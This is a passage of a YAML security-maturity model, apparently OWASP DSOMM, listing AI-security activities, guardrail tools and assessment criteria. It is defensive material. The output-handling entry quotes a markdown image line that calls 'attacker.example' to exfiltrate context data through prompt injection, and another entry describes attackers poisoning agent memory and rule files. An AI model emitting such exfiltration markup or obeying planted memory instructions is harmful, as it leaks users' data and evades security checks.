critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + - uuid: 498456d3-815a-4f57-84c2-81dcb97a4cb8 + name: LLM Guard + tags: + - ai + - data-protection + - guardrails + url: https://github.com/protectai/llm-guard + description: |- + Open-source toolkit that scans LLM prompts and outputs with pluggable + scanners, e.g. secrets detection, PII anonymization, prompt injection + detection and toxicity filtering. + - uuid: cbcc6ee0-f7db-4fea-8eb5-d6526e97924e + name: Lakera Guard + tags: + - ai + - data-protection + - guardrails + - commercial + url: https://www.lakera.ai/ + description: |- + Commercial guardrail API that screens LLM inputs and outputs for prompt + injection, PII and data leakage in real time. + - uuid: 9b4ca932-004e-4e1f-8589-770393765bd3 + name: NVIDIA NeMo Guardrails + tags: + - ai + - guardrails + - input-validation + url: https://github.com/NVIDIA/NeMo-Guardrails + description: |- + Open-source toolkit for programmable guardrails on LLM applications: + input/output rails for prompt injection and jailbreak detection, topic + restrictions and policy enforcement around model calls. + - uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: + - ai + - guardrails + - gateway + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + - uuid: d90fefc9-4e5d-420f-ac87-eeb165bf0ee6 + name: truffleHog + tags: [] + url: https://github.com/trufflesecurity/trufflehog + - uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: + - ai + - documentation + - threat + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Input%20validation%20for%20AI%20systems + comments: "" + Automated data leak detection for AI interactions: + uuid: 8d5ce64e-ebf0-45ab-93cb-d592287e3023 + description: "Technical controls (e.g. AI gateways/proxies, secret scanners + on prompts,\nDLP filters) automatically detect and block sensitive data such + as secrets,\naccess tokens and personal data before it is sent to external + AI services.\n\nTypical setup: route all model traffic through an LLM gateway + (e.g.\nLiteLLM Proxy) and attach scanners as guardrail hooks \u2014 Presidio + for\nPII redaction, LLM Guard or trufflehog-style secret detectors for\ncredentials. + Commercial alternatives with managed AI-DLP include\nNightfall AI, Prompt + Security, Lakera Guard and the GenAI-DLP features\nof CASB/SSE platforms (e.g. + Netskope, Zscaler)." + risk: |- + Policies and awareness alone do not prevent accidental leaks. A single pasted + production credential or customer data set in a prompt can lead to a + compromise or a privacy violation. + measure: |- + Route traffic to external AI services through a gateway that scans prompts + and attachments for secrets and personal data, blocks or redacts findings + and provides an audit trail of AI tool usage. + dependsOn: + - dc62d384-0b9c-47d9-b7a5-9d82e53642ba # Basic data leak prevention + assessment: | + - Show the gateway or proxy through which traffic to external AI services flows and its scanner configuration. + - Demonstrate that a test secret or test personal data in a prompt is blocked or redacted. + - Show the audit trail of AI tool usage. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 3 + usefulness: 4 + level: 4 + tags: + - ai + - data-protection + implementation: + - uuid: 0d958256-b3ed-4a13-a3dc-d8b1f153c309 + name: 'OWASP AISVS C12: Monitoring, Logging and Anomaly Detection' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C12-Monitoring-and-Logging.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C12: Monitoring, Logging and Anomaly Detection. + - uuid: 47b4ba95-a6da-4493-94c2-829e9d47b612 + name: LiteLLM Proxy (AI Gateway) + tags: + - ai + - data-protection + - gateway + url: https://github.com/BerriAI/litellm + description: |- + Open-source LLM gateway that routes all model traffic through one proxy + with per-team API keys, audit logging and guardrail hooks (e.g. Presidio + PII masking, secret detection) applied to every request. + - uuid: 498456d3-815a-4f57-84c2-81dcb97a4cb8 + name: LLM Guard + tags: + - ai + - data-protection + - guardrails + url: https://github.com/protectai/llm-guard + description: |- + Open-source toolkit that scans LLM prompts and outputs with pluggable + scanners, e.g. secrets detection, PII anonymization, prompt injection + detection and toxicity filtering. + - uuid: 240d6d9e-fcf7-422e-bbbb-ef9d820261da + name: Presidio + tags: + - ai + - data-protection + - pii + url: https://github.com/data-privacy-stack/presidio + description: |- + Open-source PII detection and de-identification: recognizes and redacts + personal data (names, credit cards, national IDs, custom entities) in text + before it is sent to external AI services. + - uuid: d90fefc9-4e5d-420f-ac87-eeb165bf0ee6 + name: truffleHog + tags: [] + url: https://github.com/trufflesecurity/trufflehog + - uuid: 0a7101ff-dc29-43b0-b9f0-ccbc75dd0f74 + name: Nightfall AI + tags: + - ai + - data-protection + - commercial + url: https://www.nightfall.ai/ + description: |- + Commercial AI-native DLP platform that detects and redacts secrets and + personal data in prompts and AI tool usage (e.g. browser plugins, APIs, + SaaS integrations). + - uuid: 6286d7cb-5c99-4cfb-8239-ff9860eaa148 + name: Prompt Security + tags: + - ai + - data-protection + - commercial + url: https://www.prompt.security/ + description: |- + Commercial platform that inspects employee and application AI traffic for + data leakage, prompt injection and shadow-AI usage. + - uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: + - ai + - guardrails + - gateway + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + - uuid: cbcc6ee0-f7db-4fea-8eb5-d6526e97924e + name: Lakera Guard + tags: + - ai + - data-protection + - guardrails + - commercial + url: https://www.lakera.ai/ + description: |- + Commercial guardrail API that screens LLM inputs and outputs for prompt + injection, PII and data leakage in real time. + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 13.2.3 + iso27001-2022: + - 8.12 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Automated%20data%20leak%20detection%20for%20AI%20interactions + comments: "" + Hallucination detection for AI responses: + uuid: 51a63793-c2c5-4438-bfd6-b7dee604a76d + description: "Distinct from output encoding (a security control against malicious\noutput, + see _Secure output handling in AI applications_), this activity\naddresses + correctness: model output can be confidently wrong \u2014\nfabricated facts, + citations, URLs, API endpoints and identifiers.\nHallucinations become a security + problem when downstream components\nor users trust them: hallucinated links + and package names can be\nregistered by attackers, fabricated identifiers + corrupt data, invented\nfacts drive wrong decisions. Applies to AI features + the organization\nships.\n\nPractical layers, ordered by effort:\n\n1. **Constrain + generation**: prefer retrieval-augmented generation\n over free generation + for factual answers and instruct the model\n to answer only from the provided + sources and to say \"I don't\n know\" otherwise.\n2. **Groundedness rails**: + fact-checking rails compare each claim in\n the response against the retrieved + source passages and block or\n flag unsupported claims (NeMo Guardrails + fact-check rail,\n Guardrails AI provenance/grounding validators).\n3. **Existence + checks**: mechanically verify artifacts the model\n emits before they are + shown or used \u2014 do referenced URLs resolve,\n do cited documents exist + in the knowledge base, do emitted API\n endpoints and identifiers exist + in the target system?\n4. **Citations and confidence**: require source citations + in\n user-facing answers and display them, so users can verify claims;\n + \ route ungrounded or low-confidence answers to a human fallback.\n5. **Regression + testing**: track hallucination rates with an\n evaluation suite (e.g. promptfoo) + over prompt, model and\n guardrail changes." + risk: "Users and downstream systems act on fabricated AI content: they follow\nhallucinated + URLs that attackers have registered, store invented\nidentifiers, or make + decisions based on confidently presented false\nfacts \u2014 without any attacker + involvement in the prompt." + measure: |- + Validate the factual grounding of AI responses before they are trusted: + check claims against the retrieved sources in retrieval-augmented + generation (RAG) systems, require and + verify citations, verify that emitted URLs, API endpoints and + identifiers exist, and route low-confidence or ungrounded answers to a + human or suppress them. + dependsOn: + - 24990a5e-b0e6-4e2c-b06b-4e9f0d6f7b21 # Secure output handling in AI applications + assessment: | + - Show the groundedness or fact-checking configuration and citations in user-facing answers. + - Show the existence checks for emitted URLs, API endpoints and identifiers. + - Show evaluation results tracking the hallucination rate over prompt, model and guardrail changes. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 3 + level: 4 + tags: + - ai + - data-protection + implementation: + - uuid: 9b4ca932-004e-4e1f-8589-770393765bd3 + name: NVIDIA NeMo Guardrails + tags: + - ai + - guardrails + - input-validation + url: https://github.com/NVIDIA/NeMo-Guardrails + description: |- + Open-source toolkit for programmable guardrails on LLM applications: + input/output rails for prompt injection and jailbreak detection, topic + restrictions and policy enforcement around model calls. + - uuid: 504b5f6c-74e6-4ea7-9480-537284c00b57 + name: Guardrails AI + tags: + - ai + - guardrails + - output-validation + url: https://github.com/guardrails-ai/guardrails + description: |- + Open-source framework that validates LLM output against schemas and + validators (e.g. no secrets/PII, valid JSON, policy compliance) and + triggers re-asks or corrective actions on violations. + - uuid: c323c3c8-cc9c-4620-9ea7-dbc69c3112ca + name: promptfoo + tags: + - ai + - red-teaming + - testing + url: https://github.com/promptfoo/promptfoo + description: |- + Test framework for LLM applications with automated red teaming + (prompt injection, jailbreaks, PII leakage) and CI integration for + regression testing of prompts, models and guardrails. + - uuid: fd952d90-dec8-4bbd-848d-9203b33c35d8 + name: 'OWASP AISVS C07: Model Behavior, Output Control and Safety Assurance' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C07-Model-Behavior.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C07: Model Behavior, Output Control and Safety Assurance. + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Hallucination%20detection%20for%20AI%20responses + comments: "" + Secure output handling in AI applications: + uuid: 24990a5e-b0e6-4e2c-b06b-4e9f0d6f7b21 + description: "Model output is attacker-influenceable: prompt injection can make + an\nAI feature emit script tags, shell commands or malicious tool calls.\nIf + the application renders or executes such responses unvalidated,\nclassic attacks + (cross-site scripting, command and SQL injection)\nreach their sinks through + a new path. Model responses must therefore\nbe treated like user input. The + sink-side controls are already defined\nin OWASP DSOMM [Context-aware output + encoding](/activity-description?uuid=e1f37abb-d848-4a3a-b3df-65e91a89dcb7); + this activity applies them to the\nAI features the organization ships (chat + UIs, retrieval-augmented\ngeneration (RAG) features, tool-calling agents) + and adds the\nAI-specific controls: strict markdown rendering, schema enforcement\nfor + tool calls and output guardrails.\n\nThe core of this activity is a reference: + model responses are\nuntrusted data, and the sink-side controls are already + defined in\n[Context-aware output encoding](/activity-description?uuid=e1f37abb-d848-4a3a-b3df-65e91a89dcb7) + (Implementation \u2192 Application\nHardening) \u2014 safe framework bindings, + encoding libraries,\nparameterized APIs, Content Security Policy. Apply them + to model\noutput exactly as to user input.\n\nAI-specific additions on top + of it:\n\n- **Markdown rendering in chat UIs**: render with inline HTML\n + \ disabled (e.g. `markdown-it` with `html: false`) plus an\n allow-list HTML + sanitizer (e.g. DOMPurify). Markdown links and\n images are a data exfiltration + channel: An injected\n `![](https://attacker.example/?d=)` leaks + context data on\n render without any click. So block or proxy external images + and\n restrict link/image URLs to trusted domains.\n- **Tool/function calls**: + enforce a JSON schema on structured\n output, validate tool-call arguments + against allow-lists and\n require human confirmation for sensitive calls.\n\nWhether + the content of a response is factually correct is a separate\nconcern \u2014 + see _Hallucination detection for AI responses_." + risk: |- + An attacker uses prompt injection to make the model emit malicious output, + which the application then executes or renders: cross-site scripting, + command or SQL injection, or unauthorized high-privilege tool calls. + measure: |- + Treat model responses as untrusted data and apply the existing activity + [Context-aware output encoding](/activity-description?uuid=e1f37abb-d848-4a3a-b3df-65e91a89dcb7) to them at every sink (browser, shell, + SQL, downstream systems). Add the AI-specific controls on top: strict + markdown rendering, schema enforcement for tool calls and output + guardrails. + dependsOn: + - 0012e51c-a068-4549-a4d5-d1957b52676f # Input validation for AI systems + - e1f37abb-d848-4a3a-b3df-65e91a89dcb7 # Context-aware output encoding + assessment: | + - Show the rendering pipeline for model output (markdown renderer settings, sanitizer configuration, Content Security Policy). + - Show the schema validation for structured output and the confirmation step for sensitive tool calls. + - Demonstrate with a test that injected markup and markdown-based exfiltration (external images/links) are neutralized. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 5 + level: 4 + tags: + - ai + - data-protection + - input-validation + implementation: + - uuid: fd952d90-dec8-4bbd-848d-9203b33c35d8 + name: 'OWASP AISVS C07: Model Behavior, Output Control and Safety Assurance' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C07-Model-Behavior.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C07: Model Behavior, Output Control and Safety Assurance. + - uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: + - ai + - documentation + - threat + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + - uuid: 504b5f6c-74e6-4ea7-9480-537284c00b57 + name: Guardrails AI + tags: + - ai + - guardrails + - output-validation + url: https://github.com/guardrails-ai/guardrails + description: |- + Open-source framework that validates LLM output against schemas and + validators (e.g. no secrets/PII, valid JSON, policy compliance) and + triggers re-asks or corrective actions on violations. + - uuid: 9b4ca932-004e-4e1f-8589-770393765bd3 + name: NVIDIA NeMo Guardrails + tags: + - ai + - guardrails + - input-validation + url: https://github.com/NVIDIA/NeMo-Guardrails + description: |- + Open-source toolkit for programmable guardrails on LLM applications: + input/output rails for prompt injection and jailbreak detection, topic + restrictions and policy enforcement around model calls. + - uuid: beeac1bd-49dd-43c8-b606-cdb9fa9cf5bc + name: DOMPurify + tags: + - xss + - sanitizer + - library + url: https://github.com/cure53/DOMPurify + description: |- + Allow-list based HTML sanitizer for the browser. Used to sanitize + rendered markdown (e.g. LLM responses in chat UIs) before insertion + into the DOM. + - uuid: 1c3f2f7a-5031-4687-9d69-76c5178c74e1 + name: OWASP Cheatsheet Series + tags: + - training + - secure coding + url: https://cheatsheetseries.owasp.org/ + - uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: + - ai + - documentation + - threat + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Secure%20output%20handling%20in%20AI%20applications + comments: "" + Protection of agent memory against poisoning: + uuid: 106622af-8969-4d9b-81ad-86d8e2bfd631 + description: |- + Unlike one-time prompt injection, memory poisoning persists: AI agents + retain context across sessions in rule files (e.g. CLAUDE.md, AGENTS.md), + memory directories, conversation summaries and retrieval-augmented + generation (RAG) knowledge/vector stores. Content + an attacker smuggles into this persistent state (via issues, code + comments, documents or web content the agent processes) corrupts every + future session and can spread to all developers through version control. + risk: |- + An attacker manipulates the agent into persisting malicious instructions + into its memory or shared rule files. The backdoor survives session + restarts, biases future reasoning and tool use (e.g. suppressing security + checks, exfiltrating data) and propagates across the team via the + repository or shared knowledge bases. + measure: |- + Treat writes to agent memory and rule files like code changes: keep them + under version control and human review, restrict write access to shared + rule files and knowledge/vector stores, validate the provenance of + ingested knowledge and periodically review or reset persistent memory. + dependsOn: + - 0012e51c-a068-4549-a4d5-d1957b52676f # Input validation for AI systems + assessment: | + - Show that agent rule files and memory are under version control and require review on change. + - Show the write-access restrictions on shared rule files and knowledge/vector stores. + - Show the last review or reset of persistent agent memory. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 5 + tags: + - ai + - data-protection + implementation: + - uuid: c4f17d85-4e64-45d9-93aa-59fbef85f8d6 + name: 'AI Coding Agent CLI design: Permissions & Sandboxed Execution' + tags: + - ai + - isolation + - permissions + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/safety + description: |- + System-design walkthrough of an AI coding agent CLI (Claude Code / Codex): + permission engine with blast-radius split, allow/deny rules, OS-level + sandbox with default-deny egress, and treating repo content (including + agent memory files) as untrusted data. + - uuid: e72ce764-f9d1-401f-9a5e-2897314e4083 + name: 'OWASP AISVS C08: Memory, Embeddings and Vector Database Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C08-Memory-Embeddings-and-Vector-Database.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C08: Memory, Embeddings and Vector Database Security. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 12.1.2 + iso27001-2022: + - 8.9 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Protection%20of%20agent%20memory%20against%20poisoning + comments: "" + Guidance: + Static load of security rules: + uuid: 51ebc877-c4fd-4b50-9305-320152242ddf + description: |- + AI coding assistants follow instructions provided in rule files + (e.g. system prompts, repository instruction files such as CLAUDE.md, + AGENTS.md or .github/copilot-instructions.md). Providing an organization-wide + baseline of secure coding rules steers generated code towards secure defaults. + + Adding a few rules to automated imported files like `CLAUDE.md` works. This might blow up the context. + risk: |- + Without explicit secure coding instructions, AI assistants reproduce insecure + patterns from their training data, e.g. string-concatenated SQL queries, + disabled certificate validation, hardcoded secrets or missing input validation. + measure: |- + Define and roll out a baseline secure coding rule set for AI assistants + covering topics like input validation, output encoding, parameterized queries, + secret handling and usage of evaluated components (e.g. images, libraries). + assessment: "- Show the secure coding rule set for AI assistants.\n- Show a + sample of project that the rules are loaded automatically (e.g. via `CLAUDE.md`). + \ \n" + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 1 + tags: + - ai + - guidance + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 5b84d64a-a590-4684-8e33-3c5f1b198260 + name: Secure Code Warrior AI Security Rules + tags: + - ai + - guidance + - documentation + url: https://github.com/SecureCodeWarrior/ai-security-rules + description: |- + Ready-to-use security rule sets for AI coding assistants (e.g. Cursor, + GitHub Copilot, Claude, Windsurf, Aider), covering general and + language/framework-specific secure coding guidance. + - uuid: 1e2ce094-e358-47a4-a469-11e0dd8bef26 + name: Wiz Secure Rules Files + tags: + - ai + - guidance + - documentation + url: https://github.com/wiz-sec-public/secure-rules-files + description: |- + Curated secure-coding rules files for AI coding assistants (e.g. Cursor, + GitHub Copilot, Claude Code) per language, maintained by Wiz Research. + references: + samm2: + - G-EG-A-1 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.28 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Static%20load%20of%20security%20rules + comments: "" + AI usage policy: + uuid: a511a9a9-1b75-4dfd-8a4f-e516e8096150 + description: |- + An AI usage policy defines which AI tools and models are approved, for which + tasks they may be used, which data may be shared with them and how + AI-generated output has to be handled (e.g. mandatory review). + risk: |- + Without a policy, employees use arbitrary AI tools ("shadow AI") with unknown + data handling, share confidential information with them and ship unreviewed + AI-generated code. + measure: |- + Define, communicate and enforce a policy for the usage of AI tools during + development, including an approval process for new tools and models. + assessment: | + - Show the published AI usage policy including approved tools, allowed data classes and handling rules for AI-generated output. + - Show the approval process for new tools and models with a recent example. + - Show how the policy is communicated to employees (e.g. onboarding, training). + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 2 + tags: + - ai + - guidance + implementation: + - uuid: 66f319f1-bcff-4d1e-8d65-4cb2939dfc06 + name: NIST SP 800-218A (SSDF Community Profile for Generative AI) + tags: + - ai + - documentation + - compliance + url: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-218A.pdf + description: |- + NIST's Secure Software Development Framework profile for generative AI + and dual-use foundation models: SSDF practices augmented with AI-specific + tasks and recommendations across the development lifecycle. Useful + compliance anchor for an organizational AI usage policy. + - uuid: d59c5afa-7af6-46c6-b78e-7e0e4e5a47ae + name: Google Secure AI Framework (SAIF) + tags: + - ai + - documentation + - threat + - framework + url: https://saif.google/ + description: |- + Google's framework for secure AI systems. SAIF 2.0 adds an agent security + map that decomposes an agent into components (perception, reasoning, + orchestration, response) with risks and controls per node, naming + agent-specific risks such as rogue actions and sensitive data disclosure; + risk data donated to the Coalition for Secure AI. + - uuid: dc09e3c6-30af-4acc-8b8d-297078ce4298 + name: 'OWASP AISVS C06: Supply Chain Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C06-Supply-Chain.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C06: Supply Chain Security. + - uuid: e1611a8a-4e7d-439a-b9fc-992674c02d53 + name: EU AI Act + tags: + - ai + - documentation + - compliance + url: https://artificialintelligenceact.eu/ + description: |- + European regulation for AI systems with risk-based obligations. Relevant + input for an organizational AI usage policy (risk categorization, + transparency and documentation duties). + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: "Maturity model for AI systems (v1.0, August 2025) in the style + of the\nOWASP Software Assurance Maturity Model (SAMM), with eight domains:\nresponsible + AI, governance, data management, privacy, design,\nimplementation, verification + and operations. Each practice defines\nthree maturity levels with assessment + worksheets \u2014 usable to assess\nand plan the organizational maturity + around the AI activities of this\ndimension." + references: + samm2: + - G-PC-A-1 + iso27001-2017: + - 5.1.1 + iso27001-2022: + - 5.1 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/AI%20usage%20policy + comments: "" + Inventory of AI agents: + uuid: c1f02ad7-e97e-4c87-b827-7542793ddb0a + description: "Classic IAM was built for humans; AI agents multiply faster than + any\nhuman workforce and are easy to spin up unnoticed. An inventory records\nevery + AI agent and assistant in use \u2014 its identity, owner, purpose,\npermissions + and connected systems \u2014 and is the precondition for\ngoverning them." + risk: "\"Shadow agents\" run without anyone being accountable: agents started + by\nindividual developers or teams keep credentials and access long after\ntheir + purpose ended, and nobody can answer which agents exist, what they\nmay do + and who owns them \u2014 making incident response and offboarding\nimpossible." + measure: |- + Maintain an inventory of all AI agents and assistants: identity/service + account, human owner, purpose, granted permissions and connected + systems. Review it periodically, decommission stale agents and detect + unregistered ones (e.g. via identity provider and audit log analysis). + dependsOn: + - a511a9a9-1b75-4dfd-8a4f-e516e8096150 # AI usage policy + assessment: | + - Show the inventory of AI agents with identity, human owner, purpose and granted permissions. + - Show the last periodic review and an example of a decommissioned agent. + - Explain how unregistered ("shadow") agents are detected, e.g. via identity provider or audit log analysis. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - guidance + - inventory + implementation: + - uuid: 1cd31e8c-63ff-48a5-b973-3048c9664394 + name: AGNTCY Agent Directory + tags: + - ai + - supply-chain + - inventory + - signing + url: https://dir.agntcy.org/latest/ + description: "Open-source federated directory (Linux Foundation/AGNTCY) for + publishing\nand discovering agents, MCP servers and agent skills with cryptographic\nsigning, + verification and provenance of records \u2014 usable as a verified\ncatalog + when assessing and inventorying agent integrations." + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: "Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for + identity,\naccess and content governance of autonomous AI agents along six + axes:\nidentification (shadow agents), authentication, authorization,\naudit/non-repudiation + (structured audit log with mandatory fields for\nthe causal chain, correlation + identifiers across multi-agent chains,\ntamper evidence via hash chaining + and write-once storage),\nprompt injection prevention and data flow tracking + \u2014 mapped to EU AI Act,\nGDPR, ISO 42001/27001 and NIST AI RMF." + - uuid: b38adac8-123b-4183-b2b4-428f43b5d519 + name: 'OWASP AISVS C05: Access Control and Identity' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C05-Access-Control-and-Identity.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C05: Access Control and Identity. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 8.1.1 + iso27001-2022: + - 5.9 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Inventory%20of%20AI%20agents + comments: "" + Language and framework specific security rules: + uuid: ac152a8d-2628-4db1-a7d6-6d75031bb40e + description: |- + Generic secure coding rules do not cover technology-specific pitfalls. + Rule sets tailored to each language and framework in use (e.g. Spring, + Django, React, Kubernetes manifests) make AI-generated code follow the + organization's hardening guidelines for that technology. + risk: |- + AI assistants generate code that is generically "secure" but violates + framework-specific best practices, e.g. disabling CSRF protection in Spring, + unsafe deserialization in Python or dangerouslySetInnerHTML in React, + because no technology-specific guidance is provided. + measure: |- + Create and maintain secure coding rule sets for every language and framework + used in the organization and distribute them to all AI-assisted projects. + Review the rules regularly and after security incidents. + The rules are to be dynamically imported during the correct spec-driven + development phase. + dependsOn: + - 51ebc877-c4fd-4b50-9305-320152242ddf # Static load of security rules + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show the rule sets for the languages and frameworks. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - guidance + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 5b84d64a-a590-4684-8e33-3c5f1b198260 + name: Secure Code Warrior AI Security Rules + tags: + - ai + - guidance + - documentation + url: https://github.com/SecureCodeWarrior/ai-security-rules + description: |- + Ready-to-use security rule sets for AI coding assistants (e.g. Cursor, + GitHub Copilot, Claude, Windsurf, Aider), covering general and + language/framework-specific secure coding guidance. + - uuid: 1e2ce094-e358-47a4-a469-11e0dd8bef26 + name: Wiz Secure Rules Files + tags: + - ai + - guidance + - documentation + url: https://github.com/wiz-sec-public/secure-rules-files + description: |- + Curated secure-coding rules files for AI coding assistants (e.g. Cursor, + GitHub Copilot, Claude Code) per language, maintained by Wiz Research. + - uuid: 1c3f2f7a-5031-4687-9d69-76c5178c74e1 + name: OWASP Cheatsheet Series + tags: + - training + - secure coding + url: https://cheatsheetseries.owasp.org/ + - uuid: 88767cde-1610-402e-98ec-bc3575377183 + name: OWASP ASVS + tags: [] + url: https://owasp.org/www-project-application-security-verification-standard/ + references: + samm2: + - G-EG-A-2 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.28 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Language%20and%20framework%20specific%20security%20rules + comments: "" + Spec-driven development: + uuid: 923a2a23-d63b-421c-926a-191d1dd5f570 + description: "Spec-driven development splits AI-assisted work into explicit + phases\n(e.g. specify, plan, implement, review) with reviewable artifacts + per\nphase, instead of generating code directly from an ad-hoc prompt\n(\"vibe + coding\"). For security this structure is an enabler: requirements (including + security requirements) \nare written down before code exists,\nevery phase + produces an artifact a human can review, and the phases are\nthe anchor points + where security context (rules, threat models,\nchecklists) can be loaded deliberately + (see _Loading security rules at\nthe right development step_)." + risk: "AI assistants generate code directly from vague prompts. Requirements\nexist + only implicitly in the developer's head, security requirements are\nnever + stated, there is no intermediate artifact to review and no defined\nstep at + which security guidance could be applied \u2014 flaws surface only\nafter + the code is written, if at all." + measure: |- + Establish a spec-driven workflow for AI-assisted development: specify + requirements and acceptance criteria first, derive a plan, implement + against the plan and review against the specification. Use tooling that + enforces the phases and keep the phase artifacts (specification, plan) + under version control. + dependsOn: + - 066084c6-1135-4635-9cc5-9e75c7c5459f # Version control + assessment: | + - Show the 